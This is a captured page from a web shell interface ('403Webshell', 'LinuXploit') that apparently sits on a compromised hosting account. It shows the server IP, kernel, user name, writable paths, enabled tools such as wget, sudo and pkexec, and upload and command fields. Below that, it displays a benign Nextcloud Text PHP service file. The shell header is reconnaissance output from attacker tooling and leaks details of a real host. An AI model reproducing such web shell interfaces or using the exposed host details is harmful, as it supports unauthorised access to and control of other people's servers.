- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.191.28.200
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/puertode/public_html/tampico1900/apps/text/lib/Service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/puertode/public_html/tampico1900/apps/text/lib/Service/AttachmentService.php
<?php

declare(strict_types=1);

/**
 * @copyright Copyright (c) 2021 Julien Veyssier <eneiluj@posteo.net>
 *
 * @author Julien Veyssier <eneiluj@posteo.net>
 *
 * @license GNU AGPL version 3 or any later version
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 *
 */

namespace OCA\Text\Service;

use OCA\Text\Controller\AttachmentController;
use OCP\Constants;
use OCP\Files\Folder;
use OCP\Files\File;
use OCP\Files\IMimeTypeDetector;
use OCP\Files\NotFoundException;
use OCP\Files\NotPermittedException;
use OCP\Files\SimpleFS\ISimpleFile;
use OCP\IPreview;
use OCP\Share\Exceptions\ShareNotFound;
use OCP\Share\IShare;
use OCP\Util;
use OCP\Files\IRootFolder;
use OCP\Share\IManager as ShareManager;

class AttachmentService {

	/**
	 * @var ShareManager
	 */
	private $shareManager;
	/**
	 * @var IRootFolder
	 */
	private $rootFolder;
	/**
	 * @var IPreview
	 */
	private $previewManager;
	/**
	 * @var IMimeTypeDetector
	 */
	private $mimeTypeDetector;

	public function __construct(IRootFolder $rootFolder,
								ShareManager $shareManager,
								IPreview $previewManager,
								IMimeTypeDetector $mimeTypeDetector) {
		$this->rootFolder = $rootFolder;
		$this->shareManager = $shareManager;
		$this->previewManager = $previewManager;
		$this->mimeTypeDetector = $mimeTypeDetector;
	}

	/**
	 * Get image content or preview from file name
	 * @param int $documentId
	 * @param string $imageFileName
	 * @param string $userId
	 * @return File|\OCP\Files\Node|ISimpleFile|null
	 * @throws NotFoundException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OCP\Files\NotPermittedException
	 */
	public function getImageFile(int $documentId, string $imageFileName, string $userId) {
		$textFile = $this->getTextFile($documentId, $userId);
		return $this->getImageFilePreview($imageFileName, $textFile);
	}

	/**
	 * Get image content or preview from file id in public context
	 * @param int $documentId
	 * @param string $imageFileName
	 * @param string $shareToken
	 * @return File|\OCP\Files\Node|ISimpleFile|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function getImageFilePublic(int $documentId, string $imageFileName, string $shareToken) {
		$textFile = $this->getTextFilePublic($documentId, $shareToken);
		return $this->getImageFilePreview($imageFileName, $textFile);
	}

	/**
	 * @param string $imageFileName
	 * @param File $textFile
	 * @return File|\OCP\Files\Node|ISimpleFile|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	private function getImageFilePreview(string $imageFileName, File $textFile) {
		$attachmentFolder = $this->getAttachmentDirectoryForFile($textFile, true);
		$imageFile = $attachmentFolder->get($imageFileName);
		if ($imageFile instanceof File && in_array($imageFile->getMimetype(), AttachmentController::IMAGE_MIME_TYPES)) {
			if ($this->previewManager->isMimeSupported($imageFile->getMimeType())) {
				return $this->previewManager->getPreview($imageFile, 1024, 1024);
			}
			return $imageFile;
		}
		return null;
	}

	/**
	 * Get media file from file name
	 * @param int $documentId
	 * @param string $mediaFileName
	 * @param string $userId
	 * @return File|\OCP\Files\Node|ISimpleFile|null
	 * @throws NotFoundException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OCP\Files\NotPermittedException
	 */
	public function getMediaFile(int $documentId, string $mediaFileName, string $userId) {
		$textFile = $this->getTextFile($documentId, $userId);
		return $this->getMediaFullFile($mediaFileName, $textFile);
	}

	/**
	 * Get image content or preview from file id in public context
	 * @param int $documentId
	 * @param string $mediaFileName
	 * @param string $shareToken
	 * @return File|\OCP\Files\Node|ISimpleFile|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function getMediaFilePublic(int $documentId, string $mediaFileName, string $shareToken) {
		$textFile = $this->getTextFilePublic($documentId, $shareToken);
		return $this->getMediaFullFile($mediaFileName, $textFile);
	}

	/**
	 * @param string $mediaFileName
	 * @param File $textFile
	 * @return File|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	private function getMediaFullFile(string $mediaFileName, File $textFile): ?File {
		$attachmentFolder = $this->getAttachmentDirectoryForFile($textFile, true);
		$mediaFile = $attachmentFolder->get($mediaFileName);
		if ($mediaFile instanceof File) {
			return $mediaFile;
		}
		return null;
	}

	/**
	 * @param int $documentId
	 * @param string $mediaFileName
	 * @param string $userId
	 * @return array|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function getMediaFilePreview(int $documentId, string $mediaFileName, string $userId): ?array {
		$textFile = $this->getTextFile($documentId, $userId);
		return $this->getMediaFilePreviewFile($mediaFileName, $textFile);
	}
	/**
	 * @param int $documentId
	 * @param string $mediaFileName
	 * @param string $shareToken
	 * @return array|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function getMediaFilePreviewPublic(int $documentId, string $mediaFileName, string $shareToken): ?array {
		$textFile = $this->getTextFilePublic($documentId, $shareToken);
		return $this->getMediaFilePreviewFile($mediaFileName, $textFile);
	}

	/**
	 * Get media preview or mimetype icon address
	 * @param string $mediaFileName
	 * @param File $textFile
	 * @return array|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	private function getMediaFilePreviewFile(string $mediaFileName, File $textFile): ?array {
		$attachmentFolder = $this->getAttachmentDirectoryForFile($textFile, true);
		$mediaFile = $attachmentFolder->get($mediaFileName);
		if ($mediaFile instanceof File) {
			if ($this->previewManager->isMimeSupported($mediaFile->getMimeType())) {
				try {
					return [
						'type' => 'file',
						'file' => $this->previewManager->getPreview($mediaFile, 1024, 1024),
					];
				} catch (NotFoundException $e) {
					// the preview might not be found even if the mimetype is supported
				}
			}
			// fallback: mimetype icon URL
			return [
				'type' => 'icon',
				'iconUrl' => $this->mimeTypeDetector->mimeTypeIcon($mediaFile->getMimeType()),
			];
		}
		return null;
	}

	/**
	 * @param int $documentId
	 * @param string $mediaFileName
	 * @param string $userId
	 * @return array|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function getMediaFileMetadataPrivate(int $documentId, string $mediaFileName, string $userId): ?array {
		$textFile = $this->getTextFile($documentId, $userId);
		return $this->getMediaFileMetadata($mediaFileName, $textFile);
	}

	/**
	 * @param int $documentId
	 * @param string $mediaFileName
	 * @param string $shareToken
	 * @return array|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function getMediaFileMetadataPublic(int $documentId, string $mediaFileName, string $shareToken): ?array {
		$textFile = $this->getTextFilePublic($documentId, $shareToken);
		return $this->getMediaFileMetadata($mediaFileName, $textFile);
	}

	/**
	 * @param string $mediaFileName
	 * @param File $textFile
	 * @return array|null
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	private function getMediaFileMetadata(string $mediaFileName, File $textFile): ?array {
		$attachmentFolder = $this->getAttachmentDirectoryForFile($textFile, true);
		$mediaFile = $attachmentFolder->get($mediaFileName);
		if ($mediaFile instanceof File) {
			return [
				'size' => Util::humanFileSize($mediaFile->getSize()),
				'mtime' => $mediaFile->getMTime(),
			];
		}
		return null;
	}

	/**
	 * Save an uploaded file in the attachment folder
	 *
	 * @param int $documentId
	 * @param string $newFileName
	 * @param string $newFileContent
	 * @param string $userId
	 * @return array
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function uploadAttachment(int $documentId, string $newFileName, $newFileResource, string $userId): array {
		$textFile = $this->getTextFile($documentId, $userId);
		if (!$textFile->isUpdateable()) {
			throw new NotPermittedException('No write permissions');
		}
		$saveDir = $this->getAttachmentDirectoryForFile($textFile, true);
		$fileName = $this->getUniqueFileName($saveDir, $newFileName);
		$savedFile = $saveDir->newFile($fileName, $newFileResource);
		return [
			'name' => $fileName,
			'dirname' => $saveDir->getName(),
			'id' => $savedFile->getId(),
			'documentId' => $textFile->getId(),
		];
	}

	/**
	 * Save an uploaded file in the attachment folder in a public context
	 *
	 * @param int|null $documentId
	 * @param string $newFileName
	 * @param string $newFileContent
	 * @param string $shareToken
	 * @return array
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function uploadAttachmentPublic(?int $documentId, string $newFileName, $newFileResource, string $shareToken): array {
		if (!$this->hasUpdatePermissions($shareToken)) {
			throw new NotPermittedException('No write permissions');
		}
		$textFile = $this->getTextFilePublic($documentId, $shareToken);
		$saveDir = $this->getAttachmentDirectoryForFile($textFile, true);
		$fileName = $this->getUniqueFileName($saveDir, $newFileName);
		$savedFile = $saveDir->newFile($fileName, $newFileResource);
		return [
			'name' => $fileName,
			'dirname' => $saveDir->getName(),
			'id' => $savedFile->getId(),
			'documentId' => $textFile->getId(),
		];
	}

	/**
	 * Copy a file from a user's storage in the attachment folder
	 *
	 * @param int $documentId
	 * @param string $path
	 * @param string $userId
	 * @return array
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	public function insertAttachmentFile(int $documentId, string $path, string $userId): array {
		$textFile = $this->getTextFile($documentId, $userId);
		if (!$textFile->isUpdateable()) {
			throw new NotPermittedException('No write permissions');
		}
		$originalFile = $this->getFileFromPath($path, $userId);
		$saveDir = $this->getAttachmentDirectoryForFile($textFile, true);
		return $this->copyFile($originalFile, $saveDir, $textFile);
	}

	/**
	 * @param File $originalFile
	 * @param Folder $saveDir
	 * @param File $textFile
	 * @return array
	 * @throws NotFoundException
	 * @throws \OCP\Files\InvalidPathException
	 */
	private function copyFile(File $originalFile, Folder $saveDir, File $textFile): array {
		$fileName = $this->getUniqueFileName($saveDir, $originalFile->getName());
		$targetPath = $saveDir->getPath() . '/' . $fileName;
		$targetFile = $originalFile->copy($targetPath);
		return [
			'name' => $fileName,
			'dirname' => $saveDir->getName(),
			'id' => $targetFile->getId(),
			'documentId' => $textFile->getId(),
			'mimetype' => $targetFile->getMimetype(),
		];
	}

	/**
	 * Get unique file name in a directory. Add '(n)' suffix.
	 * @param Folder $dir
	 * @param string $fileName
	 * @return string
	 */
	public static function getUniqueFileName(Folder $dir, string $fileName): string {
		$extension = pathinfo($fileName, PATHINFO_EXTENSION);
		$counter = 1;
		$uniqueFileName = $fileName;
		if ($extension !== '') {
			while ($dir->nodeExists($uniqueFileName)) {
				$counter++;
				$uniqueFileName = preg_replace('/\.' . $extension . '$/', ' (' . $counter . ').' . $extension, $fileName);
			}
		} else {
			while ($dir->nodeExists($uniqueFileName)) {
				$counter++;
				$uniqueFileName = preg_replace('/$/', ' (' . $counter . ')', $fileName);
			}
		}
		return $uniqueFileName;
	}

	/**
	 * Check if the shared access has write permissions
	 *
	 * @param string $shareToken
	 * @return bool
	 */
	private function hasUpdatePermissions(string $shareToken): bool {
		try {
			$share = $this->shareManager->getShareByToken($shareToken);
			return (
				in_array(
					$share->getShareType(),
					[IShare::TYPE_LINK, IShare::TYPE_EMAIL, IShare::TYPE_ROOM],
					true
				)
				&& $share->getPermissions() & Constants::PERMISSION_UPDATE);
		} catch (ShareNotFound $e) {
			return false;
		}
	}

	/**
	 * Get or create file-specific attachment folder
	 *
	 * @param File $textFile
	 * @param bool $create
	 * @return Folder
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OC\User\NoUserException
	 */
	private function getAttachmentDirectoryForFile(File $textFile, bool $create = false): Folder {
		$owner = $textFile->getOwner();
		$ownerId = $owner->getUID();
		$ownerUserFolder = $this->rootFolder->getUserFolder($ownerId);
		$ownerTextFile = $ownerUserFolder->getById($textFile->getId());
		if (count($ownerTextFile) > 0) {
			$ownerTextFile = $ownerTextFile[0];
			$ownerParentFolder = $ownerTextFile->getParent();
			$attachmentFolderName = '.attachments.' . $textFile->getId();
			if ($ownerParentFolder->nodeExists($attachmentFolderName)) {
				$attachmentFolder = $ownerParentFolder->get($attachmentFolderName);
				if ($attachmentFolder instanceof Folder) {
					return $attachmentFolder;
				}
			} elseif ($create) {
				return $ownerParentFolder->newFolder($attachmentFolderName);
			}
		}
		throw new NotFoundException('Attachment dir for document ' . $textFile->getId() . ' was not found or could not be created.');
	}

	/**
	 * Get a user file from file ID
	 * @param string $filePath
	 * @param string $userId
	 * @return File|null
	 * @throws NotFoundException
	 * @throws \OCP\Files\NotPermittedException
	 */
	private function getFileFromPath(string $filePath, string $userId): ?File {
		$userFolder = $this->rootFolder->getUserFolder($userId);
		if ($userFolder->nodeExists($filePath)) {
			$file = $userFolder->get($filePath);
			if ($file instanceof File) {
				return $file;
			}
		}
		return null;
	}

	/**
	 * Get a user file from file ID
	 *
	 * @param int $documentId
	 * @param string $userIdd
	 * @return File
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OC\User\NoUserException
	 */
	private function getTextFile(int $documentId, string $userId): File {
		$userFolder = $this->rootFolder->getUserFolder($userId);
		$textFile = $userFolder->getById($documentId);
		if (count($textFile) > 0 && $textFile[0] instanceof File) {
			return $textFile[0];
		}
		throw new NotFoundException('Text file with id=' . $documentId . ' was not found in storage of ' . $userId);
	}

	/**
	 * Get file from share token
	 *
	 * @param int|null $documentId
	 * @param string $shareToken
	 * @return File
	 * @throws NotFoundException
	 */
	private function getTextFilePublic(?int $documentId, string $shareToken): File {
		// is the file shared with this token?
		try {
			$share = $this->shareManager->getShareByToken($shareToken);
			if ($share->getShareType() === IShare::TYPE_LINK) {
				// shared file or folder?
				if ($share->getNodeType() === 'file') {
					$textFile = $share->getNode();
					if ($textFile instanceof File) {
						return $textFile;
					}
				} elseif ($documentId !== null && $share->getNodeType() === 'folder') {
					$folder = $share->getNode();
					if ($folder instanceof Folder) {
						$textFile = $folder->getById($documentId);
						if (count($textFile) > 0 && $textFile[0] instanceof File) {
							return $textFile[0];
						}
					}
				}
			}
		} catch (ShareNotFound $e) {
			// same as below
		}
		throw new NotFoundException('Text file with id=' . $documentId . ' and shareToken ' . $shareToken . ' was not found.');
	}

	/**
	 * Actually delete attachment files which are not pointed in the markdown content
	 *
	 * @param int $fileId
	 * @return int The number of deleted files
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OCP\Lock\LockedException
	 * @throws \OC\User\NoUserException
	 */
	public function cleanupAttachments(int $fileId): int {
		$textFile = $this->rootFolder->getById($fileId);
		if (count($textFile) > 0 && $textFile[0] instanceof File) {
			$textFile = $textFile[0];
			if ($textFile->getMimeType() === 'text/markdown') {
				// get IDs of the files inside the attachment dir
				try {
					$attachmentDir = $this->getAttachmentDirectoryForFile($textFile);
				} catch (NotFoundException $e) {
					// this only happens if the attachment dir was deleted by the user while editing the document
					return 0;
				}
				$attachmentsByName = [];
				foreach ($attachmentDir->getDirectoryListing() as $attNode) {
					$attachmentsByName[$attNode->getName()] = $attNode;
				}

				$contentAttachmentNames = $this->getAttachmentNamesFromContent($textFile->getContent(), $fileId);

				$toDelete = array_diff(array_keys($attachmentsByName), $contentAttachmentNames);
				foreach ($toDelete as $name) {
					$attachmentsByName[$name]->delete();
				}
				return count($toDelete);
			}
		}
		return 0;
	}


	/**
	 * Get attachment file names listed in the markdown file content
	 *
	 * @param string $content
	 * @return array
	 */
	public static function getAttachmentNamesFromContent(string $content, int $fileId): array {
		$oldMatches = [];
		preg_match_all(
			// simple version with .+ between the brackets
			// '/\!\[.+\]\(text:\/\/image\?[^)]*imageFileName=([^)&]+)\)/',
			// complex version of php-markdown
			// matches ![ANY_CONSIDERED_CORRECT_BY_PHP-MARKDOWN](text://image?ANYTHING&imageFileName=FILE_NAME) and captures FILE_NAME
			'/\!\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[\])*\])*\])*\])*\])*\])*\]\(text:\/\/image\?[^)]*imageFileName=([^)&]+)\)/',
			$content,
			$oldMatches,
			PREG_SET_ORDER
		);
		$oldNames = array_map(static function (array $match) {
			return urldecode($match[1]);
		}, $oldMatches);

		$matches = [];
		// matches ![ANY_CONSIDERED_CORRECT_BY_PHP-MARKDOWN](.attachments.DOCUMENT_ID/ANY_FILE_NAME) and captures FILE_NAME
		preg_match_all(
			'/\!\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[(?>[^\[\]]+|\[\])*\])*\])*\])*\])*\])*\]\(\.attachments\.' . $fileId . '\/([^)&]+)\)/',
			$content,
			$matches,
			PREG_SET_ORDER
		);
		$names = array_map(static function (array $match) {
			return urldecode($match[1]);
		}, $matches);

		return array_merge($names, $oldNames);
	}

	/**
	 * @param File $source
	 * @param File $target
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OCP\Lock\LockedException
	 */
	public function moveAttachments(File $source, File $target): void {
		// if the parent directory has changed
		if ($source->getParent()->getPath() !== $target->getParent()->getPath()) {
			try {
				$sourceAttachmentDir = $this->getAttachmentDirectoryForFile($source);
			} catch (NotFoundException $e) {
				// silently return if no attachment dir was found for source file
				return;
			}
			// it is in the same directory as the source file in its owner's storage
			// in other words, we move the attachment dir only if the .md file is moved by its owner
			if ($source->getParent()->getId() === $sourceAttachmentDir->getParent()->getId()
			) {
				$sourceAttachmentDir->move($target->getParent()->getPath() . '/' . $sourceAttachmentDir->getName());
			}
		}
	}

	/**
	 * @param File $source
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 */
	public function deleteAttachments(File $source): void {
		// if there is an attachment dir for this file
		try {
			$sourceAttachmentDir = $this->getAttachmentDirectoryForFile($source);
		} catch (NotFoundException $e) {
			// silently return if no attachment dir was found
			return;
		}
		$sourceAttachmentDir->delete();
	}

	/**
	 * @param File $source
	 * @param File $target
	 * @return void
	 * @throws NotFoundException
	 * @throws NotPermittedException
	 * @throws \OCP\Files\InvalidPathException
	 * @throws \OCP\Lock\LockedException
	 */
	public function copyAttachments(File $source, File $target): void {
		try {
			$sourceAttachmentDir = $this->getAttachmentDirectoryForFile($source);
		} catch (NotFoundException $e) {
			// silently return if no attachment dir was found for source file
			return;
		}
		// create a new attachment dir next to the new file
		$targetAttachmentDir = $this->getAttachmentDirectoryForFile($target, true);
		// copy the attachment files
		foreach ($sourceAttachmentDir->getDirectoryListing() as $sourceAttachment) {
			if ($sourceAttachment instanceof File) {
				$targetAttachmentDir->newFile($sourceAttachment->getName(), $sourceAttachment->getContent());
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit